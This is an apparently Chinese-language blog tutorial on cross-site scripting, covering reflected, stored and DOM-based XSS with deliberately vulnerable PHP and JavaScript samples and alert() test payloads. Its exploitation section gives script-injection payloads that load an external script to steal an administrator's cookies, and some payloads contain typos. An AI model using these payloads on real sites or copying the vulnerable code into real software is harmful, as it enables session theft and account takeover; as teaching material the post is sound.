xss漏洞攻擊與防御

xss 簡(jiǎn)介

xss 跨站腳本攻擊(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets,CSS)縮寫混淆,所以將跨站腳本攻擊縮寫為xss。

xss是什么

xss就是攻擊者在web頁(yè)面插入惡意的Script代碼,當(dāng)用戶瀏覽該頁(yè)之時(shí),嵌入其中web里面的Script代碼會(huì)被執(zhí)行,從而達(dá)到惡意攻擊用戶的特殊目的。

xss的類型

xss類型一般分為三種:

第一種:反射型XSS

反射型XSS只是簡(jiǎn)單的把用戶輸入的數(shù)據(jù)“反射”給瀏覽器.也就是說需要誘使用戶“點(diǎn)擊”一個(gè)惡意鏈接,才能攻擊成功。反射型XSS也叫作“非持久型XSS”

第二種:儲(chǔ)存型XSS

儲(chǔ)存型XSS會(huì)把用戶輸入的數(shù)據(jù)“儲(chǔ)存”在服務(wù)器端。這種XSS具有很強(qiáng)的穩(wěn)定性

第三種:DOM Based XSS

實(shí)際上,這種類型的XSS并非按照“數(shù)據(jù)是否保存在服務(wù)器端”來劃分的,從效果上來說也是反射型XSS單獨(dú)劃分出來的,因?yàn)镈OM Based XSS 的形成原因比較特別。這是由于客戶端腳本自身解析不正確導(dǎo)致的安全問題。

XSS的攻擊原理

反射型XSS的攻擊原理

反射型XSS,是最常用的,使用最廣的一種方式。通過給別人發(fā)送有惡意腳本代碼參數(shù)的URL,當(dāng)URL地址被打開時(shí),特有的惡意代碼參數(shù)唄HTML解析、執(zhí)行。
它的特點(diǎn):是非持久化,必須用戶點(diǎn)擊帶有特定參數(shù)的鏈接才能引起。

例子:
假設(shè)一個(gè)頁(yè)面把用戶輸入的參數(shù)直接輸出到頁(yè)面上:

<?php   
    $input = $_GET["param"];
    echo "<div>".$input."</div>"
?>

正常情況下,用戶想param提交數(shù)據(jù)會(huì)展示到頁(yè)面中,比如:
http://127.0.0.1/xss.php?param=This is a test!
會(huì)得到如下結(jié)果:


在查看頁(yè)面源代碼,可以看到:
<div>/This is a xss test!</div>
但是如果提交一段HTML代碼:
http://127.0.0.1/xss.php?param=<script>alert(/This is a xss test!/)</script>
會(huì)發(fā)現(xiàn),alert(/This is a xss test!/)在當(dāng)前頁(yè)面執(zhí)行了:

再查看源代碼:
<div><script>alert(/This is a xss test!/)</script></div>
用戶輸入的的Script,腳本已經(jīng)被寫入頁(yè)面中,這并不是開發(fā)者所希望看到的。這就是反射型XSS攻擊的原理

儲(chǔ)存型XSS的攻擊原理

存儲(chǔ)型的攻擊腳本被存儲(chǔ)到了數(shù)據(jù)庫(kù)或者文件中,服務(wù)端在讀取了存儲(chǔ)的內(nèi)容回顯了。就是存儲(chǔ)型。這種情況下用戶直接打開正常的頁(yè)面就會(huì)看到被注入
流程如下:
壞人把惡意的XSS代碼提交網(wǎng)站--->網(wǎng)站把XSS代碼存儲(chǔ)進(jìn)數(shù)據(jù)庫(kù)--->當(dāng)頁(yè)面再次被其他正常用戶請(qǐng)求時(shí),服務(wù)器發(fā)送已經(jīng)被植入XSS代碼的數(shù)據(jù)給客戶端--->客戶端執(zhí)行XSS代碼
例子:

<html>
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>留言板</title> 
</head> 
<body> 
<center> 
<h6>我的留言板</h6>
<form action="" method="get"> 
<h6>請(qǐng)輸入留言內(nèi)容</h6> 
<input type="text" name="xss_input_value" placeholder="輸入留言內(nèi)容"><br> 
<input type="submit" > 
</form> 
<hr> 
<h6>這里假設(shè)我們是正常用戶來查看留言這個(gè)界面</h6>    
<?php 
if(isset($_GET['xss_input_value'])){
    $xss = $_GET['xss_input_value'];  
    if(isset($xss)){  
    echo '<input type="text" value="'.$xss.'">';  
    }else{  
    echo '<input type="type" vplaceholder="輸出留言內(nèi)容">';  
    }
}else{
    echo '<input type="type" placeholder="輸出留言內(nèi)容">';
}
?> 
</center> 
</body> 
</html> 

這里我們假設(shè)第一個(gè)輸入框的數(shù)據(jù)存入了數(shù)據(jù)庫(kù),而輸出框從數(shù)據(jù)庫(kù)中讀取輸入的數(shù)據(jù)。
此時(shí)在輸入框插入惡意的代碼
"><script>alert(/This is a xss test!/)</script>(">是用來閉合input標(biāo)簽)
當(dāng)正常用戶想要來查看留言板的內(nèi)容時(shí)這條惡意代碼就會(huì)被瀏覽器加載并執(zhí)行

DMO Based XSS的攻擊原理

DOM-based XSS漏洞是基于文檔對(duì)象模型Document Objeet Model 的一種漏洞。DOM是一個(gè)與平臺(tái)、編程語(yǔ)言無關(guān)的借口,它允許程序或腳本動(dòng)態(tài)的訪問或者更新文檔內(nèi)容、結(jié)構(gòu)和樣式,處理后的結(jié)果能夠成為顯示頁(yè)面的一部分。DOM中有很多對(duì)象,其中一些事用戶可以操作的.客戶端的腳本程序可以通過DOM動(dòng)態(tài)地檢查和修改頁(yè)面內(nèi)容,它不依賴于提交數(shù)據(jù)到服務(wù)器端,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行,如果DOM中的數(shù)據(jù)沒有經(jīng)過嚴(yán)格的確認(rèn),就會(huì)產(chǎn)生DOM-based XSS漏洞。
看如下代碼:

<script>

function test(){
    var str = document.getElementById("text").value;
    document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
}

</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />

點(diǎn)擊“write”按鈕后,會(huì)在當(dāng)前頁(yè)面插入一個(gè)超鏈接,其地址為文本框的內(nèi)容:

在這里,"write"按鈕的onclick事件調(diào)用了test()函數(shù)。而在test()函數(shù)中,修改了頁(yè)面DOM節(jié)點(diǎn),通過innerHTML把一段用戶數(shù)據(jù)當(dāng)做HTML寫入頁(yè)面中,這就造成了DOM based XSS.

構(gòu)造如下數(shù)據(jù):
' onclick=alert(/xss/) //
輸入之后,頁(yè)面代碼變成了:
<a href='' onclick=alert(/xss/) //' >testLink</a>
首先一個(gè)單引號(hào)閉合掉href的第一個(gè)單引號(hào),然后插入一個(gè)onclick事件,最后在用注釋符"http://"注釋掉第二個(gè)單引號(hào)。

點(diǎn)擊這個(gè)新生成的鏈接,腳本將會(huì)執(zhí)行,如下圖所示:

XSS的利用

說了一大堆,大家以為 XSS就是彈窗,其實(shí)錯(cuò)了,彈窗只是測(cè)試XSS的存在性和使用性。
這時(shí)我們要插入JS代碼了。
可以這樣
<script scr="js_url"></script>
或者這樣
<img src=x onerror=appendChild(creatElement('script')).src='js_url'>
各種姿勢(shì),各種插,只要能夠運(yùn)行我們的js就可以,js可以干很多事,可以獲取cookies、控制用戶的動(dòng)作燈等。
比如我們?cè)诰W(wǎng)站的留言區(qū)輸入下面的代碼:
<script scr="js_url"></script>
當(dāng)管理員進(jìn)入后臺(tái)瀏覽留言的時(shí)候,就會(huì)觸發(fā),然后管理員的cookies和后臺(tái)地址還有管理員瀏覽器版本等等都可以獲取到。

xss的防御

現(xiàn)在的XSS如此流行,原因何在。我想大家應(yīng)該都知道,就是在輸入的時(shí)候沒有做嚴(yán)格的過濾,而在輸出的時(shí)候,也沒有進(jìn)行檢查,轉(zhuǎn)義,替換等
所以防范的方法就是,不信任任何用戶的輸入,對(duì)每個(gè)用戶的輸入都做嚴(yán)格檢查,過濾,在輸出的時(shí)候,對(duì)某些特殊字符進(jìn)行轉(zhuǎn)義,替換等

Bypass xss過濾

大部分情況下網(wǎng)站都對(duì)用戶輸入的數(shù)據(jù)進(jìn)行了過濾,大家可以參考以下文章:
<a src="http://drops.wooyun.org/tips/845">http://drops.wooyun.org/tips/845</a>

心得:由于自己js代碼基礎(chǔ)為0,并不能給大家?guī)矸浅I願(yuàn)W的東西。如果有錯(cuò)誤希望大家在下邊評(píng)論指出。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 230,622評(píng)論 6 544
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 99,716評(píng)論 3 429
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 178,746評(píng)論 0 383
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我,道長(zhǎng),這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,991評(píng)論 1 318
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 72,706評(píng)論 6 413
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 56,036評(píng)論 1 329
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 44,029評(píng)論 3 450
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 43,203評(píng)論 0 290
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 49,725評(píng)論 1 336
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 41,451評(píng)論 3 361
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 43,677評(píng)論 1 374
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,161評(píng)論 5 365
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,857評(píng)論 3 351
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,266評(píng)論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,606評(píng)論 1 295
  • 我被黑心中介騙來泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 52,407評(píng)論 3 400
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 48,643評(píng)論 2 380

推薦閱讀更多精彩內(nèi)容